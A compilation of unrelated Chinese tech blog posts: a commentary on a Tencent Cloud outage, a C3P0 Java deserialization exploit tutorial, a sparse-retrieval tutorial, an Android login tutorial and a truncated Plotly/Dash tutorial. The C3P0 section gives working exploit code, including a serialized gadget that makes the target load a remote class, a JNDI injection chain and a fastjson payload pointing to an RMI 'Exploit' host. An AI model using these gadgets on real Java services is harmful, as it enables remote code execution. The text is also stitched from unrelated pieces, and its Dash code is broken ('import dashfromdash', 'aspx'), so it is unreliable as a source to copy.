2024年4月

你好呀,我是歪歪。

昨天分享了一下
《腾讯云 4 月 8 日故障复盘及情况说明》
,较为详细的描述了故障前后的具体情况。

按照惯例,这种大公司的故障说明,歪师傅都是要好好看一下的。

一来是看看有没有可以学习的地方,多从别人的事故中总结经验教训,学习避坑指南。

二来还可以蹭个热点。


表扬

首先,先说说我个人认为值得表扬的地方。

第一点是文中把“云服务类比为酒店”这个比喻我觉得是真不错。

先是刨去所有的细枝末节,把云服务大概分为数据面和控制面,这两大坨。

然后用比较正式的语言描述了数据面和控制面分别是啥:数据面承载客户自身的业务,控制面负责操作云上不同产品。

接着用了一个实际的例子,比如 IaaS(Infrastructure as a Service),即基础设施服务,基本上都是以直接面向数据面为主,控制面仅在客户购买或需要对资源层面进行调整操作时会涉及。

此次发生故障的控制台和云 API 是对控制面的影响。

这段话是相对比较技术性的,如果让歪师傅用通俗的话来说就是:你买了腾讯云的服务器,马上就要到期了,但是你在服务器上部署了一个应用,还想继续用,所以你想着去续费。

腾讯云故障的时候,你服务器上的应用是没有问题的,但是如果你想续费,你得登录到腾讯云管理台,去充值。

由于故障期间管理台完全登录不了,所以对应的功能就用不了,因此这个时候是充值不了的。

除了续费外,控制台其实还能看很多的基础数据,服务运行情况等等,是一个信息收集门户,还是比较重要的。

但是上面这些话,不管是腾讯云的官方公告还是歪师傅举的续费的例子,对于非技术人员,理解起来可能都有一点点门槛。

然后腾讯云在公告里面举了一个例子:

通俗来讲,如果把云服务类比为酒店,控制台相当于酒店的前台,是一个统一的服务入口。一旦酒店前台发生故障,会导致入住、续住等管理能力不可用,但已入住的客房不受影响。
...
但是,用API提供的服务类产品(需要“酒店前台服务“)有不同程度的影响...

非常形象的比喻,一下就让那一部分可能一点都不懂技术的腾讯云客户找到了一个容易理解的抓手。

公告中这个比喻,我觉得很好。

第二个我认为值得表扬的点,就是这篇故障公告。

看得出来腾讯的这份事故报告写的还是有诚意的,较为详细的复盘了当时的情况。

我个人浅显的认为,其实它完全可以不用对公众发布这样一篇事故情况详细说明,可以只是对事故情况进行简单的描述,表达自己的歉意,然后做好客服培训,做好用户解释工作,启动相关赔偿流程就可以了。

详细说明,可以关起门来,仔细分析。

但是它发了,而且是在事情的热度已经算是过去了的情况下,发布的内容比较详细,一定程度上做的了对用户透明,在认错态度上,这一点是值得肯定的。

第三个点是我确实领到了 100 元无框门代金券的赔偿,也在不经意间带领一些小伙伴薅到了这 100 元的赔偿,相关情况在这篇文章里面说过了,就不多说了:
《腾讯云,你怎么回事?》

100 块钱确实不多,对于企业用户肯定是走另外一套赔偿流程,但是对于只是受到轻微影响的个人用户来说,总比没有好。

对于完全没有受到影响,纯薅了 100 元羊毛的用户来说,你就偷着乐就完事了。

我要说的表扬的点,大概就这三个了。毕竟是一次事故,也不能老是找表扬的角度,还是要找找可以改进的地方。


学习到的地方

表扬一般对应着批评。

但是歪师傅是个什么玩意,凭什么资格去批评腾讯云?

不够资格,所以我只是站在个人的角度,看看在这次事件中,我可以学习到的东西。

首先第一个还是“公告”,但是这个公告不是指前面提到的复盘公告,而是在事故当天,腾讯云官方微博发布的这些公告:

在言语中是有“抖机灵”的倾向的,说老实的,我第一眼看到这些描述的时候没有觉得任何问题,因为我已经得到了我想要的信息。

但是看网友讨论的时候,就相当一部分人在批评官方的“抖机灵”行为,看起来不是特别的正式,甚至有人说“读出了一丝吊儿郎当的感觉”。

如果一个公司、一个企业的老板,因为使用你们的产品,由于你们本次的故障,给公司、企业带来了麻烦,甚至是巨大的损失,当他们看到你不正式的言语的时候,内心并不会觉得幽默。

我想腾讯云微博的小编在对待整个事件,发布相关描述的时候一定也是非常认真的,只是用了一种自己觉得无伤大雅的方式。

但是借用一句网络名言:被误解是表达者的宿命。

话说出去,人们总是能找到各种解读的角度的。

所以在这种较为正式严肃的场景下,用官方的书面用语来进行事实的描述,虽然少了一份“活泼”,但是至少不会弄巧成拙。

这是我学习到的一个点。这一个点和“技术”毫无关系,但是站在更长远的视野中,比起技术,这个点的灵活运用可能更为重要。

写这篇文章的时候我本来想去看看对应微博下的评论的,但是发现已经被删除了,不知道背后有没有什么故事。

除了上面这个非技术的点外,当然也学到了一些技术方面的点。

整个故障复盘及情况说明,其实总结起来还是这九个字:

可监控!可灰度!可回滚!

比如文中出现的这些监控相关的图片:

基于这些监控的图片,官方可以得出如下结论:

  • 其他以非云 API 方式提供服务的 PaaS 和 SaaS 服务,处于正常服务的状态。
  • 用 API 提供的服务类产品(需要“酒店前台服务“)有不同程度的影响,比如腾讯云存储服务调用当天有明显下滑。

关于“可灰度”,文章中有这样一句话,就直接提到了:

故障的原因是云 API 服务新版本向前兼容性考虑不够和配置数据灰度机制不足的问题。

在改进措施部分,也是直接提到了“实施灰度发布策略”:

这两个点结合起来,我理解就是有故障的这次发布没有按照灰度发布进行实施。

这一点确实是非常不应该的。

“可灰度”,在歪师傅公司是非常重要的一个指标,每次投产之前,有一个专门的检查项就是“是否可灰度”。

灰度期间可以用小波流量验证投产是否成功。如果没有灰度,直接流量全部放进来,程序又有问题,到时候哭都来不及。

如果不可灰度,需要写清楚不可灰度的原因,并且需要开专家评审会议,由专家再次讨论,确定是不是由于某些实际情况,本次应用的发布真的不可以灰度。

我也真的遇到过这样的“不可灰度”的发布,当时我是在关键逻辑处做了一个开关,在全面发布完成之前开关关闭,保持原逻辑。在全面发布之后,再把开关打开,先用内部流量来验证了本次投产是否成功。

结果真的有问题,本次投产失败,但是由于开关的存在,我立马把开关关闭了。

虽然投产失败了,但是没有引起大规模的问题,已经是不幸中的万幸了。

而这次投产,我拉着开发和测试同学前后一共分析了三次投产方案,投之前我还是非常自信的。

百密一疏,最后还是失败了。

但是投产失败带来的影响并不大,因为“可灰度”这三个字救了我,它让我反复去论证了投产方案,并进一步的考虑到了如果失败时的应对措施。

另外,再歪个楼。

关于“新版本向前兼容性考虑不够”描述中的“向前兼容性”,有一个朋友指出了描述不对:

实际情况也确实是“向后兼容不足”,这一点算是公告中的一个小错误吧。

至于“可回滚”,也是本次事件中的一个大漏洞。

因为回滚版本之后,服务并没有完全恢复,出现了意料之外的情况,说明实际情况并不满足“可回滚”:

公告中还有这样的描述:

“按照标准回滚方案”,我觉得其实就是选择上一个版本重新发布,因为这个动作放在任何一家公司,都是标准的回滚方案。

其实,除了标准的回滚方案之外,还应该有一个“本次投产的回滚方案”,方案中应该要包含本次服务回滚之后对于业务的影响和对于上下游服务的影响。以便真的出现问题的时候,作为后续执行方案决策的一个重要考虑部分。

比如,如果在投产之前,分析出了本次投产可能会影响到控制台,然后在分析“本次投产的回滚方案”时,理论上是能分析出可能会发生循环依赖的。

不要给我说你也不知道本次投产可能会影响到控制台,你做为一个开发人员,服务投产会影响到什么业务,应该是门清的,只是你可能没有时间去仔细分析。

如果分析出了“可能会发生循环依赖”,那么肯定就会进一步写解决方案:如果发生了循环依赖,导致服务无法自动拉起。需要通过运维手工启动方式使 API 服务重启。

这样,腾讯云就能减少 48 分钟的故障时间:

整体故障时间就是 39 分钟,还能保住 4 个 9 的高可靠性。

反正我是建议所有开发,运维,包括测试同学,都应该把“可监控,可灰度,可回滚”这九个字贴在工位上,刻在脑子里,做方案、写代码、提测前、上线前都把这九个字拿出来咂摸一下。

这九个字,说起来简单,但是落地是真的难。

虽然落地难,但是是真的可以保命的,至少保过我的命。

最后,还有一个点。

在重要的业务条线中、直接对客的核心业务中、基础能力服务中、关乎到公司名誉的业务中,等等相关业务中,涉及到调用外部接口,或者强依赖外部服务的地方,都应该要考虑到外部服务不可用的情况。

我知道这很难,就像是要你考虑 MySQL 彻底崩盘之后,你的服务应该怎么办一样的难。

但是怎么解决,能不能解决,花多大力气才能解决,这些问题都不重要,重要的是你要考虑到这个问题,并最好抛出问题,列出解决方案,让能决策的人进行决策,然后留痕,记录在案。

以防在真的出现问题的时候,遇到领导抛出这样的问题:当时为什么不考虑?不说?不给我说?

防止来自领导的致命追问是一方面,还有一个方面是其实大多数时候真的是有解决方案的。

还是拿腾讯云这次事件,举个最简单的例子。

我看公告中提到了这样一句话:

比如最后一个“验证码”,什么是验证码?

我在腾讯云查询了一下:

说白了,其实就是我们经常看到的这个玩意:

一般来说我们在用户登录注册的时候会用到,可以有效防止撞库攻击、阻止注册机批量注册小号。

现在你想象一个场景,你在登录某 APP 的时候要获取短信验证码,正常流程是在获取之前弹了个框,让你“拖动下方滑块完成拼图”。

结果这个“拼图”完成不了,你就获取不了验证码,从而导致你不能登录这个 APP。

正常来说,你就是骂一句:什么垃圾玩意。

然后就不登录了。

但是,如果这个 APP 是一个理财相关的 APP 呢?

站在用户角度:我靠,我本来是要来取点钱出来的,怎么登录不了了?不会是捐款跑路了吧?

你说用户慌不慌,他根本不知道是因为腾讯云故障导致的,他只是慌。

一慌就要打客服电话核实情况,结果客服功能也使用的是腾讯云,假设也受到了影响。

用户发现客服电话也打不通,心里一紧:卧槽,真跑路了?

你说巧不巧,这个人刚好在一个群里面,这个群里面全是买了这个理财产品的用户,平时在群里吹水聊天,交流韭菜心得。

于是他在群里喊一了声:理财 APP 你们赶紧看看是不是登录不上了,取不了钱了,是不是跑路了啊?

这样的舆情一旦开始发酵,轻则上面请公司负责人去喝茶,重则发生大规模挤兑事件,公司不一定扛得住。

而这一切,都是因为你核心业务的核心链路上依赖的核心服务出故障了。

怎么办?

很简单嘛,要么降级,根据实际业务场景,直接先跳过这个步骤,比如在这个火烧眉毛的时候了,获取验证码就别弹窗了,直接放开就完事。

或者备份嘛,多对接几个渠道,国内这么多云,再对接几个云的验证码服务,搞个热备、冷备、负载均衡啥的,这种按照调用量收费的,应急场景下也花不了几个钱。

我使用的图床工具叫做 PicGo,就连这小小的图床工具都提供了这么多接入方式:

你的核心业务还不值得花点钱多做点冗余吗?

再说了,退一万步说:

花的也不是你的钱。出了事儿,扣的可是你的钱。

你自己好好咂摸咂摸。

前言

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过,但是没有深入了解,像之前学二次反序列化时,
WrapperConnectionPoolDataSource
就是C3P0的

环境搭建

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

URLClassLoader

初学者必学的一条链,先给出完整exp,然后一步步分析

package org.example;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class urlClassLoader {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        //此类是PoolBackedDataSourceBase抽象类的实现
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }
    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evilref","evilref","http://127.0.0.1:1099/");
        }
    }
}

先看序列化的过程,进入
PoolBackedDataSourceBase
这个类看看
writeObject

该方法会尝试将当前对象的
connectionPoolDataSource
属性进行序列化,如果不能序列化便会在catch块中对
connectionPoolDataSource
属性用
ReferenceIndirector.indirectForm
方法处理后再进行序列化操作,我们跟进
ReferenceIndirector.indirectForm
方法。

此方法会调用
connectionPoolDataSource
属性的
getReference
方法,并用返回结果作为参数实例化一个
ReferenceSerialized
对象,然后将
ReferenceSerialized
对象返回,
ReferenceSerialized
被序列化

这里可以看出reference是可以被我们控制的,接下来看反序列化的操作,
readShort
获取版本号为1,往下走,
首先获取了反序列化后的对象,然后再判断这个对象
o
是否实现了
IndirectlySerialized
接口,在
ReferenceIndirector
的内部类
ReferenceSerialized
中实现了这个接口,所以通过判断,调用了o的
getObject
方法

跟进
getObject
方法,这里居然还有lookup,但是我们这条链的目标不是它,而且这里的lookup很鸡肋

跟进
ReferenceableUtils.referenceToObject
,由于
ref
是在序列化的时候可以控制的参数,那么
fClassName
自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类

hex base/WrapperConnectionPoolDataSource

如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget,这条链以前见过,就是学二次反序列化时的C3P0那条链,所以这里就不再讲,可以去看看我讲二次反序列化的那篇文章

JNDI

同样也是在fastjson,jackson环境中可用

package org.example;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

import java.beans.PropertyVetoException;
import java.sql.SQLException;

public class JNDI {
    public static void main(String[] args) throws PropertyVetoException, SQLException {
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("rmi://127.0.0.1:1099/evilref");
        exp.setLoginTimeout(1);
    }
}


fastjson exp:
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"

首先
JndiRefConnectionPoolDataSource
类中有属性
jndiname
及其
setter
方法,其
setter
方法会调用内部的
JndiRefForwardingDataSource
对象的
setJndiName
方法,改变
JndiRefForwardingDataSource#jndiname
的值,漏洞点在
setLoginTimeout
处,我们追踪进去,经过几次
setLoginTimeout
来到这

进入
dereference
,获取
jndiName
,然后调用了lookup,达到jndi的效果

Sparse稀疏检索介绍

在处理大规模文本数据时,我们经常会遇到一些挑战,比如如何有效地表示和检索文档,当前主要有两个主要方法,传统的文本BM25检索,以及将文档映射到向量空间的向量检索。

BM25效果是有上限的,但是文本检索在一些场景仍具备较好的鲁棒性和可解释性,因此不可或缺,那么在NN模型一统天下的今天,是否能用NN模型来增强文本检索呢,答案是有的,也就是我们今天要说的sparse 稀疏检索。

传统的BM25文本检索其实就是典型的sparse稀疏检索,在BM25检索算法中,向量维度为整个词表,但是其中大部分为0,只有出现的关键词或子词(tokens)有值,其余的值都设为零。这种表示方法不仅节省了存储空间,而且提高了检索效率。

向量的形式, 大概类似:

{
   '19828': 0.2085,
   '3508': 0.2374,
   '7919': 0.2544,
   '43': 0.0897,
   '6': 0.0967,
   '79299': 0.3079
}

key是term的编号,value是NN模型计算出来的权重。

稀疏向量与传统方法的比较

当前流行的sparse检索,大概是通过transformer模型,为doc中的term计算weight,这样与传统的BM25等基于频率的方法相比,sparse向量可以利用神经网络的力量,提高了检索的准确性和效率。BM25虽然能够计算文档的相关性,但它无法理解词语的含义或上下文的重要性。而稀疏向量则能够通过神经网络捕捉到这些细微的差别。

稀疏向量的优势

  1. 计算效率
    :稀疏向量在处理包含零元素的操作时,通常比密集向量更高效。
  2. 信息密度
    :稀疏向量专注于关键特征,而不是捕捉所有细微的关系,这使得它们在文本搜索等应用中更为高效。
  3. 领域适应性
    :稀疏向量在处理专业术语或罕见关键词时表现出色,例如在医疗领域,许多专业术语不会出现在通用词汇表中,
    稀疏向量能够更好地捕捉这些术语的细微差别

稀疏向量举例

SPLADE 是一款开源的transformer模型,提供sparse向量生成,下面是效果对比,可以看到sparse介于BM25和dense之间,比BM25效果好。

Model MRR@10 (MS MARCO Dev) Type
BM25 0.184 Sparse
TCT-ColBERT 0.359 Dense
doc2query-T5
link
0.277 Sparse
SPLADE 0.322 Sparse
SPLADE-max 0.340 Sparse
SPLADE-doc 0.322 Sparse
DistilSPLADE-max 0.368 Sparse

Sparse稀疏检索实践

模型介绍

国内的开源模型中,BAAI的BGE-M3提供sparse向量向量生成能力,我们用这个来进行实践。

BGE是通过RetroMAE的预训练方式训练的类似bert的预训练模型。

常规的Bert预训练采用了将输入文本随机Mask再输出完整文本这种自监督式的任务,RetroMAE采用一种巧妙的方式提高了Embedding的表征能力,具体操作是:将低掩码率的的文本A输入到Encoder种得到Embedding向量,将该Embedding向量与高掩码率的文本A输入到浅层的Decoder向量中,输出完整文本。这种预训练方式迫使Encoder生成强大的Embedding向量,在表征模型中提升效果显著。

image.png

向量生成

  • 先安装

    !pip install -U FlagEmbedding

  • 然后引入模型

from FlagEmbedding import BGEM3FlagModel
model = BGEM3FlagModel('BAAI/bge-m3',  use_fp16=True)

编写一个函数用于计算embedding:

def embed_with_progress(model, docs, batch_size):
    batch_count = int(len(docs) / batch_size) + 1
    print("start embedding docs", batch_count)
    query_embeddings = []
    for i in tqdm(range(batch_count), desc="Embedding...", unit="batch"):
        start = i * batch_size
        end = min(len(docs), (i + 1) * batch_size)
        if end <= start:
            break
        output = model.encode(docs[start:end], return_dense=False, return_sparse=True, return_colbert_vecs=False)
        query_embeddings.extend(output['lexical_weights'])

    return query_embeddings

然后分别计算query和doc的:

query_embeddings = embed_with_progress(model, test_sets.queries, batch_size)
doc_embeddings = embed_with_progress(model, test_sets.docs, batch_size)

然后是计算query和doc的分数,
model.compute_lexical_matching_score
(交集的权重相乘,然后累加),注意下面的代码是query和每个doc都计算了,计算量会比较大,在工程实践中需要用类似向量索引的方案(当前qdrant、milvus等都提供sparse检索支持)

# 检索topk
recall_results = []
import numpy as np
for i in tqdm(range(len(test_sets.query_ids)), desc="recall...", unit="query"):
    query_embeding = query_embeddings[i]
    query_id = test_sets.query_ids[i]
    if query_id not in test_sets.relevant_docs:
        continue
    socres = [model.compute_lexical_matching_score(query_embeding, doc_embedding) for doc_embedding in doc_embeddings]
    topk_doc_ids = [test_sets.doc_ids[i] for i in np.argsort(socres)[-20:][::-1]]
    recall_results.append(json.dumps({"query": test_sets.queries[i], "topk_doc_ids": topk_doc_ids, "marked_doc_ids": list(test_sets.relevant_docs[query_id].keys())}))

# recall_results 写入到文件

with open("recall_results.txt", "w", encoding="utf-8") as f:
    f.write("\n".join(recall_results))

最后,基于测试集,我们可以计算召回率:

import json

# 读取 JSON line 文件
topk_doc_ids_list = []
marked_doc_ids_list = []

with open("recall_results.txt", "r") as file:
    for line in file:
        data = json.loads(line)
        topk_doc_ids_list.append(data["topk_doc_ids"])
        marked_doc_ids_list.append(data["marked_doc_ids"])


# 计算 recall@k
def recall_at_k(k):
    recalls = []
    for topk_doc_ids, marked_doc_ids in zip(topk_doc_ids_list, marked_doc_ids_list):
        # 提取前 k 个召回结果
        topk = set(topk_doc_ids[:k])
        # 计算交集
        intersection = topk.intersection(set(marked_doc_ids))
        # 计算 recall
        recall = len(intersection) / min(len(marked_doc_ids), k)
        recalls.append(recall)
    # 计算平均 recall
    average_recall = sum(recalls) / len(recalls)
    return average_recall

# 计算 recall@5, 10, 20
recall_at_5 = recall_at_k(5)
recall_at_10 = recall_at_k(10)
recall_at_20 = recall_at_k(20)

print("Recall@5:", recall_at_5)
print("Recall@10:", recall_at_10)
print("Recall@20:", recall_at_20)

在测试集中,测试结果:

Recall@5: 0.7350086355785777 
Recall@10: 0.8035261945883735 
Recall@20: 0.8926130345462158

在这个测试集上,比BM25测试出来的结果要更好,但是仅凭这个尚不能否定BM25,需要综合看各自的覆盖度,综合考虑成本与效果。

参考

实现目标

应用线性布局设计登录界面,要求点击输入学号时弹出数字键盘界面,点击输入密码时弹出字母键盘,出现的文字、数字、尺寸等全部在values文件夹下相应.xml文件中设置好,使用时直接引用。当用户名或密码为空,显示一个提示信息“用户名与密码不能为空!”,当用户名和密码匹配,显示“登录成功”。

效果图如下:


实现过程

新建项目

新建一个项目如图所示:

UI设计

1.新建login.xml,选择线性布局

步骤如下:

设计登录页面

LinearLayout是线性布局,布局中的组件按照垂直或者水平方向进行排列

gravity:设置自身内部元素的对齐方式

layout_gravity:用来控制该控件在包含该控件的父控件中的位置

本设计采用垂直线性布局,如图所示:

控件类型
: EditText 是一个允许用户输入和编辑文本的控件。

android:id
: 这个属性为控件设置了一个唯一的ID(@+id/ed2),使得开发者可以在Java中通过这个ID来引用这个控件。

android:layout_width 和 android:layout_height
: 这些属性定义了控件的宽度和高度。531dp 指定了宽度为531设备独立像素,wrap_content 表示高度会根据内容的大小自动调整。

实现代码如下:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/login"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:padding="25dp"
    android:background="@color/white"
    tools:context="com.example.myapplication1.LoginActivity"
    android:orientation="vertical"
    android:weightSum="1">
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="@string/login_page_title"
        android:textSize="@dimen/text_size_large"
        android:textColor="@android:color/black"
        android:layout_gravity="center_horizontal"/>
    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="vertical"
        android:gravity="center"
        android:layout_weight="0.55">
        <LinearLayout
            android:layout_width="300dp"
            android:layout_height="wrap_content"
            android:orientation="horizontal">
            <TextView
                android:layout_width="@dimen/label_width"
                android:layout_height="wrap_content"
                android:text="@string/student_id_label"
                android:textSize="@dimen/text_size_medium"
                android:textColor="@android:color/black"/>

            <EditText
                android:id="@+id/ed1"
                android:layout_width="531dp"
                android:layout_height="wrap_content"
                android:minHeight="48dp"
                android:padding="12dp"
                android:hint="@string/student_id_hint"
                android:inputType="number"
                android:textColor="@color/black"
                android:textColorHint="@android:color/darker_gray"
                android:visibility="visible" />
        </LinearLayout>
        <LinearLayout
            android:layout_width="300dp"
            android:layout_height="wrap_content"
            android:orientation="horizontal">
            <TextView
                android:layout_width="@dimen/label_width"
                android:layout_height="wrap_content"
                android:text="@string/password_label"
                android:textSize="@dimen/text_size_medium"
                android:textColor="@android:color/black"/>
            <EditText
                android:id="@+id/ed2"
                android:layout_width="531dp"
                android:layout_height="wrap_content"
                android:minHeight="48dp"
                android:padding="12dp"
                android:hint="@string/password_hint"
                android:inputType="text"
                android:textColor="@color/black"
                android:textColorHint="@android:color/darker_gray"
                android:visibility="visible" />
        </LinearLayout>
    </LinearLayout>

    <Button
        android:layout_width="@dimen/login_button_width"
        android:layout_height="wrap_content"
        android:text="@string/login_button_text"
        android:textSize="@dimen/text_size_button"
        android:id="@+id/bt"
        android:layout_gravity="center_horizontal" />
        
</LinearLayout>

2.将文本、数字和尺寸等资源从布局文件中移动到values文件夹下的相应.xml文件中并引用,需要按照以下步骤操作:

文本(字符串)资源:在values文件夹下的strings.xml文件中定义。

尺寸资源:在values文件夹下的dimens.xml文件中定义。

颜色资源:已经在colors.xml中定义,可以继续添加新的颜色或使用已有的颜色。

具体代码如下:

strings.xml

<resources>
    <string name="login_page_title">登录页面</string>
    <string name="student_id_hint">请输入学号</string>
    <string name="password_hint">请输入密码</string>
    <string name="student_id_label">学号:</string>
    <string name="password_label">密码:</string>
    <string name="login_button_text">登录</string>
</resources>

dimens.xml

<resources>
    <dimen name="text_size_large">30dp</dimen>
    <dimen name="text_size_medium">18dp</dimen>
    <dimen name="login_button_width">285dp</dimen>
    <dimen name="login_input_width">300dp</dimen>
    <dimen name="label_width">65dp</dimen>
    <dimen name="text_size_button">20dp</dimen>
</resources>

调用

1.新建一个LoginActivity进行调用,如图所示:

定义一个登录界面的行为:包含两个文本输入框(EditText)用于输入用户名和密码,以及一个按钮(Button)用于提交登录信息。

成员变量:

  • usertext 和 passtext 是EditText类型的变量,分别用于获取用户输入的用户名和密码。

onCreate方法:

  • 在onCreate方法中,首先调用
    super.onCreate(savedInstanceState)

    setContentView(R.layout.activity_main)
    来初始化界面。

ButtonListener 类:

  • ButtonListener实现了
    View.OnClickListener
    接口,用于处理按钮点击事件。

  • 在其onClick方法中,首先获取usertext和passtext中的文本内容。

  • 然后,通过一系列的条件判断,检查用户名和密码是否为空,是否匹配预设的正确用户名("2021")和密码("abc")。

  • 如果用户名或密码为空,显示一个提示信息“用户名与密码不能为空!”。

  • 如果用户名和密码匹配,显示“登录成功”。

具体实现代码如下:

package com.example.myapplication1;

import android.content.Intent;
import android.os.Bundle;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import android.view.View;

import androidx.appcompat.app.AppCompatActivity;

public class LoginActivity extends AppCompatActivity {
        private EditText usertext;
        private EditText passtext;
        private Button loginbutton;

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.login);
            usertext=(EditText)this.findViewById(R.id.ed1);
            passtext=(EditText)this.findViewById(R.id.ed2);
            loginbutton=(Button)this.findViewById(R.id.bt);
            loginbutton.setOnClickListener(new ButtonListener());
        }
        private class ButtonListener implements View.OnClickListener{
            @Override
            public void onClick(View v){
                String user=usertext.getText().toString();
                String pass=passtext.getText().toString();
                if (user.equals("")||pass.equals("")){
                    Toast.makeText(LoginActivity.this,"用户名与密码不能为空!",Toast.LENGTH_SHORT).show();
                }
                else if (user.equals("2021")&&pass.equals("abc")){
                    Toast.makeText(LoginActivity.this,"登陆成功",Toast.LENGTH_SHORT).show();
                }
                else{
                    Toast.makeText(LoginActivity.this,"用户名或密码输入有误,请更正后重新输入!",Toast.LENGTH_SHORT).show();
                }
            }
        }
    }

配置文件

AndroidManifest.xml是整个Android应用程序的全局面描述配置文件

清单文件中通常包含以下六项信息:

  • 声明应用程序的包名: 用来识别应用程序的唯一标志

  • 描述应用程序组件

  • 确定宿主应用组件进程

  • 声明应用程序拥有的权限

  • 定义应用程序所支持API的最低等级

  • 列举应用程序必须链接的库

添加LoginActivity到 AndroidManifest.xml中

具体代码如下:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">
    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.AppCompat"
        tools:targetApi="31">
        <activity
            android:name=".LoginActivity"
            android:exported="true"
            android:label="@string/app_name"
            android:theme="@style/Theme.AppCompat">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

总结

以上就是简单的登录界面的设计的所有内容,简单介绍了线性布局以及相应属性的应用。

如果这篇文章对你或你的朋友有帮助的话,请多多支持和分享,让更多的人受益。同时,如果你有任何问题或疑问,也欢迎在下方留言,我会尽快回复并帮助你解决问题。让我们一起共同进步,共同学习!

本文分享自华为云社区《
从数据到部署使用Plotly和Dash实现数据可视化与生产环境部署
》,作者: 柠檬味拥抱。

数据可视化是数据分析中至关重要的一环,它能够帮助我们更直观地理解数据并发现隐藏的模式和趋势。在Python中,有许多强大的工具可以用来进行数据可视化,其中Plotly和Dash是两个备受欢迎的选择。Plotly提供了丰富多样的交互式绘图功能,而Dash则是一个用于构建交互式Web应用的Python框架。本文将介绍如何使用Plotly和Dash进行数据可视化,并通过案例代码展示其应用。

安装Plotly与Dash

首先,我们需要安装Plotly和Dash库。你可以通过以下命令使用pip来安装它们:

pip install plotly dash

安装完成后,我们就可以开始使用这两个库了。

案例代码:简单的数据可视化应用

让我们以一个简单的例子开始,假设我们有一些关于销售数据的CSV文件,我们想要创建一个交互式的图表来可视化这些数据,并将其部署为一个Web应用。首先,我们需要导入必要的库:

import dashfromdash import dcc, html
import plotly.express
aspx
import pandas
aspd

# 读取数据
df
= pd.read_csv('sales_data.csv')

# 创建Dash应用
app
=dash.Dash(__name__)

# 布局
app.layout
=html.Div([
html.H1(
"销售数据可视化"),
dcc.Graph(
id
='sales-graph')
])

# 回调函数
@app.callback(
dash.dependencies.Output(
'sales-graph', 'figure'),
[dash.dependencies.Input(
'sales-graph', 'value')]
)
def update_graph(selected_year):
filtered_df
= df[df['Year'] ==selected_year]
fig
= px.bar(filtered_df, x='Month', y='Sales', title=f'销售数据 - {selected_year}')returnfig

# 启动应用
if __name__ == '__main__':
app.run_server(debug
=True)

在这个例子中,我们首先读取了名为sales_data.csv的CSV文件,然后创建了一个Dash应用。在应用的布局中,我们定义了一个标题和一个空的图表区域。然后,我们设置了一个回调函数,当用户选择不同的年份时,图表将会更新以显示相应年份的销售数据。最后,我们通过调用run_server方法来启动应用。

确保你的sales_data.csv文件包含了必要的数据字段(比如Year、Month和Sales),这样代码才能正常运行。

案例代码:高级数据可视化与交互

在上一个案例中,我们展示了如何使用Dash和Plotly创建一个简单的数据可视化应用。现在,让我们进一步探索一些高级功能,比如添加更多交互性和定制化。

假设我们想要展示销售数据的趋势,并允许用户通过选择不同的产品类别来查看不同的趋势。我们可以通过下面的代码来实现这个功能:

import dashfromdash import dcc, html
import plotly.express
aspx
import pandas
aspd

# 读取数据
df
= pd.read_csv('sales_data.csv')

# 创建Dash应用
app
=dash.Dash(__name__)

# 布局
app.layout
=html.Div([
html.H1(
"销售数据趋势"),
dcc.Dropdown(
id
='product-dropdown',
options
=[
{
'label': '产品A', 'value': 'Product A'},
{
'label': '产品B', 'value': 'Product B'},
{
'label': '产品C', 'value': 'Product C'}
],
value
='Product A'),
